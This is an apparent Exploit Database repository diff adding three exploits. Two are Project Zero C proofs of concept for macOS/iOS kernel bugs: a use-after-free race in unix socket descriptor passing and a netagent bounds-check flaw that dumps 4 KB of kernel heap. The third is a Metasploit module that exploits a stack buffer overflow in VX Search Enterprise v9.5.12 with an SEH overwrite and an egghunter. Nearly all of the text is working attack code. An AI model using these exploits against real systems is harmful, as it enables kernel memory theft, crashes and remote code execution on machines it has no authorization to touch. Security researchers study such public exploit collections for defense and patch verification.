tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42052.zip

313
platforms/multiple/dos/42054.c Executable file
View file

@ -0,0 +1,313 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123
unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.
Here's the relevant code:
for (i = 0; i < newfds; i++) { <----------- (a)
#if CONFIG_MACF_SOCKET
/*
* If receive access is denied, don't pass along
* and error message, just discard the descriptor.
*/
if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
proc_fdunlock(p);
unp_discard(rp[i], p);
fds[i] = 0;
proc_fdlock(p);
continue;
}
#endif
if (fdalloc(p, 0, &f))
panic("unp_externalize:fdalloc");
fp = fileproc_alloc_init(NULL);
if (fp == NULL)
panic("unp_externalize: MALLOC_ZONE");
fp->f_iocount = 0;
fp->f_fglob = rp[i];
if (fg_removeuipc_mark(rp[i]))
fgl[i] = rp[i];
else
fgl[i] = NULL;
procfdtbl_releasefd(p, f, fp);
fds[i] = f;
}
proc_fdunlock(p); <-------- (b)
for (i = 0; i < newfds; i++) {
if (fgl[i] != NULL) {
VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
fg_removeuipc(fgl[i]); <--------- (c)
}
if (fds[i])
(void) OSAddAtomic(-1, &unp_rights);
}
The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.
At (b) the code then drops the process fd lock at which point other threads can access the fd table again.
At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).
Use zone poisoning for a reliable crasher.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html
#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization
unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.
Here's the relevant code:
for (i = 0; i < newfds; i++) { <----------- (a)
#if CONFIG_MACF_SOCKET
/*
* If receive access is denied, don't pass along
* and error message, just discard the descriptor.
*/
if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
proc_fdunlock(p);
unp_discard(rp[i], p);
fds[i] = 0;
proc_fdlock(p);
continue;
}
#endif
if (fdalloc(p, 0, &f))
panic("unp_externalize:fdalloc");
fp = fileproc_alloc_init(NULL);
if (fp == NULL)
panic("unp_externalize: MALLOC_ZONE");
fp->f_iocount = 0;
fp->f_fglob = rp[i];
if (fg_removeuipc_mark(rp[i]))
fgl[i] = rp[i];
else
fgl[i] = NULL;
procfdtbl_releasefd(p, f, fp);
fds[i] = f;
}
proc_fdunlock(p); <-------- (b)
for (i = 0; i < newfds; i++) {
if (fgl[i] != NULL) {
VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
fg_removeuipc(fgl[i]); <--------- (c)
}
if (fds[i])
(void) OSAddAtomic(-1, &unp_rights);
}
The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.
At (b) the code then drops the process fd lock at which point other threads can access the fd table again.
At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).
Use zone poisoning for a reliable crasher.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>
static const char kDummyData = 'D';
static int ReadDescriptor(int fd, int *fdRead)
// Read a descriptor from fd and place it in *fdRead.
//
// On success, the caller is responsible for closing *fdRead.
{
int err;
int junk;
struct msghdr msg;
struct iovec iov;
struct {
struct cmsghdr hdr;
int fd;
} control;
char dummyData;
ssize_t bytesReceived;
// Pre-conditions
assert(fd >= 0);
assert( fdRead != NULL);
assert(*fdRead == -1);
// Read a single byte of data from the socket, with the assumption
// that this byte has piggybacked on to it a single descriptor that
// we're trying to receive. This is pretty much standard boilerplate
// code for reading descriptors; see <x-man-page://2/recv> for details.
iov.iov_base = (char *) &dummyData;
iov.iov_len = sizeof(dummyData);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = &control;
msg.msg_controllen = sizeof(control);
msg.msg_flags = MSG_WAITALL;
do {
bytesReceived = recvmsg(fd, &msg, 0);
if (bytesReceived == sizeof(dummyData)) {
if ( (dummyData != kDummyData)
|| (msg.msg_flags != 0)
|| (msg.msg_control == NULL)
|| (msg.msg_controllen != sizeof(control))
|| (control.hdr.cmsg_len != sizeof(control))
|| (control.hdr.cmsg_level != SOL_SOCKET)
|| (control.hdr.cmsg_type != SCM_RIGHTS)
|| (control.fd < 0) ) {
err = EINVAL;
} else {
*fdRead = control.fd;
err = 0;
}
} else if (bytesReceived == 0) {
err = EPIPE;
} else {
assert(bytesReceived == -1);
err = errno;
assert(err != 0);
}
} while (err == EINTR);
assert( (err == 0) == (*fdRead >= 0) );
return err;
}
static int WriteDescriptor(int fd, int fdToWrite)
// Write the descriptor fdToWrite to fd.
{
int err;
struct msghdr msg;
struct iovec iov;
struct {
struct cmsghdr hdr;
int fd;
} control;
ssize_t bytesSent;
char ack;
// Pre-conditions
assert(fd >= 0);
assert(fdToWrite >= 0);
control.hdr.cmsg_len = sizeof(control);
control.hdr.cmsg_level = SOL_SOCKET;
control.hdr.cmsg_type = SCM_RIGHTS;
control.fd = fdToWrite;
iov.iov_base = (char *) &kDummyData;
iov.iov_len = sizeof(kDummyData);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = &control;
msg.msg_controllen = control.hdr.cmsg_len;
msg.msg_flags = 0;
do {
bytesSent = sendmsg(fd, &msg, 0);
if (bytesSent == sizeof(kDummyData)) {
err = 0;
} else {
assert(bytesSent == -1);
err = errno;
assert(err != 0);
}
} while (err == EINTR);
return err;
}
char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};
void parent(int sock) {
int f = 0;
while(1) {
char* filename = filenames[f];
f++;
f %= 10;
int to_send = open(filename, O_CREAT|O_RDWR, 0644);
int err = WriteDescriptor(sock, to_send);
printf("err: %x\n", err);
close(to_send);
}
}
void* child_thread(void* arg) {
while(1) {
close(3);
}
}
void child(int sock) {
for (int i = 0; i < 10; i++) {
pthread_t t;
pthread_create(&t, NULL, child_thread, NULL);
}
while (1) {
int received = -1;
int err = ReadDescriptor(sock, &received);
close(received);
}
}
int main() {
int socks[2];
socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);
pid_t pid = fork();
if (pid != 0) {
close(socks[1]);
parent(socks[0]);
int wl;
waitpid(pid, &wl, 0);
exit(EXIT_SUCCESS);
} else {
close(socks[0]);
child(socks[1]);
exit(EXIT_SUCCESS);
}
return 0;
}

300
platforms/multiple/dos/42055.c Executable file
View file

@ -0,0 +1,300 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140
netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:
static errno_t
netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
u_int32_t payload_length)
{
int data_size = 0;
struct netagent_wrapper *new_wrapper = NULL;
u_int32_t response_error = 0;
struct netagent *register_netagent = (struct netagent *)(void *)payload; <----------- (a)
if (session == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to find session");
response_error = EINVAL;
goto done;
}
if (payload == NULL) {
NETAGENTLOG0(LOG_ERR, "No payload received");
response_error = EINVAL;
goto done;
}
if (session->wrapper != NULL) {
NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
response_error = EINVAL;
goto done;
}
if (payload_length < sizeof(struct netagent)) { <----------- (b)
NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
payload_length, sizeof(struct netagent));
response_error = EINVAL;
goto done;
}
data_size = register_netagent->netagent_data_size;
if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) { <----------- (c)
NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
data_size);
response_error = EINVAL;
goto done;
}
MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
if (new_wrapper == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
response_error = ENOMEM;
goto done;
}
memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size); <------------ (d)
response_error = netagent_handle_register_inner(session, new_wrapper);
if (response_error != 0) {
FREE(new_wrapper, M_NETAGENT);
goto done;
}
NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);
done:
return response_error;
}
The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.
At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.
This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.
Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
*/
// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling
netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:
static errno_t
netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
u_int32_t payload_length)
{
int data_size = 0;
struct netagent_wrapper *new_wrapper = NULL;
u_int32_t response_error = 0;
struct netagent *register_netagent = (struct netagent *)(void *)payload; <----------- (a)
if (session == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to find session");
response_error = EINVAL;
goto done;
}
if (payload == NULL) {
NETAGENTLOG0(LOG_ERR, "No payload received");
response_error = EINVAL;
goto done;
}
if (session->wrapper != NULL) {
NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
response_error = EINVAL;
goto done;
}
if (payload_length < sizeof(struct netagent)) { <----------- (b)
NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
payload_length, sizeof(struct netagent));
response_error = EINVAL;
goto done;
}
data_size = register_netagent->netagent_data_size;
if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) { <----------- (c)
NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
data_size);
response_error = EINVAL;
goto done;
}
MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
if (new_wrapper == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
response_error = ENOMEM;
goto done;
}
memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size); <------------ (d)
response_error = netagent_handle_register_inner(session, new_wrapper);
if (response_error != 0) {
FREE(new_wrapper, M_NETAGENT);
goto done;
}
NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);
done:
return response_error;
}
The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.
At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.
This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.
Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int ctl_open(char* control_name) {
int sock;
int error = 0;
struct ctl_info kernctl_info;
struct sockaddr_ctl kernctl_addr;
sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (sock < 0) {
printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
goto done;
}
memset(&kernctl_info, 0, sizeof(kernctl_info));
strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));
error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
if (error) {
printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
goto done;
}
memset(&kernctl_addr, 0, sizeof(kernctl_addr));
kernctl_addr.sc_len = sizeof(kernctl_addr);
kernctl_addr.sc_family = AF_SYSTEM;
kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
kernctl_addr.sc_id = kernctl_info.ctl_id;
kernctl_addr.sc_unit = 0;
error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
if (error) {
printf("Failed to connect to the control socket: %s\n", strerror(errno));
goto done;
}
done:
if (error && sock >= 0) {
close(sock);
sock = -1;
}
return sock;
}
#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE 32
#define NETAGENT_TYPESIZE 32
#define NETAGENT_DESCSIZE 128
struct netagent_req64 {
uuid_t netagent_uuid;
char netagent_domain[NETAGENT_DOMAINSIZE];
char netagent_type[NETAGENT_TYPESIZE];
char netagent_desc[NETAGENT_DESCSIZE];
u_int32_t netagent_flags;
u_int32_t netagent_data_size;
uint64_t netagent_data __attribute__((aligned(8)));
};
struct netagent {
uuid_t netagent_uuid;
char netagent_domain[NETAGENT_DOMAINSIZE];
char netagent_type[NETAGENT_TYPESIZE];
char netagent_desc[NETAGENT_DESCSIZE];
u_int32_t netagent_flags;
u_int32_t netagent_data_size;
u_int8_t netagent_data[0];
};
#define SIOCGIFAGENTDATA64 _IOWR('i', 168, struct netagent_req64)
int main(){
int fd = ctl_open("com.apple.net.netagent");
if (fd < 0) {
printf("failed to get control socket :(\n");
return 1;
}
printf("got a control socket! %d\n", fd);
struct netagent na = {0};
na.netagent_uuid[0] = 123;
na.netagent_data_size = 4096;
int err = setsockopt(fd,
SYSPROTO_CONTROL,
NETAGENT_OPTION_TYPE_REGISTER,
&na,
sizeof(na));
if (err == -1) {
perror("setsockopt failed");
return 0;
} else {
printf("set the option!\n");
}
uint64_t* buf = malloc(4096);
memset(buf, 0, 4096);
struct netagent_req64 req = {0};
req.netagent_uuid[0] = 123;
req.netagent_data_size = 4096;
req.netagent_data = (uint64_t)buf;
err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
if (err == -1) {
perror("get getinterface agent data failed");
}else {
printf("got something?\n");
for (int i = 0; i < 4096/8; i++) {
printf("%016llx\n", buf[i]);
}
}
return 0;
}

102
platforms/windows/remote/42057.rb Executable file
View file

@ -0,0 +1,102 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VX Search Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of VX Search Enterprise v9.5.12, caused by
improper bounds checking of the request path in HTTP GET requests
sent to the built-in web server. This module has been tested
successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
'Space' => 500
},
'Targets' =>
[
[ 'VX Search Enterprise v9.5.12',
{
'Offset' => 2488,
'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
version = res.body[/VX Search Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9\.5\.12/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
sploit = rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << make_nops(10)
sploit << egg
sploit << rand_text_alpha(5500)
print_status('Sending request...')
send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end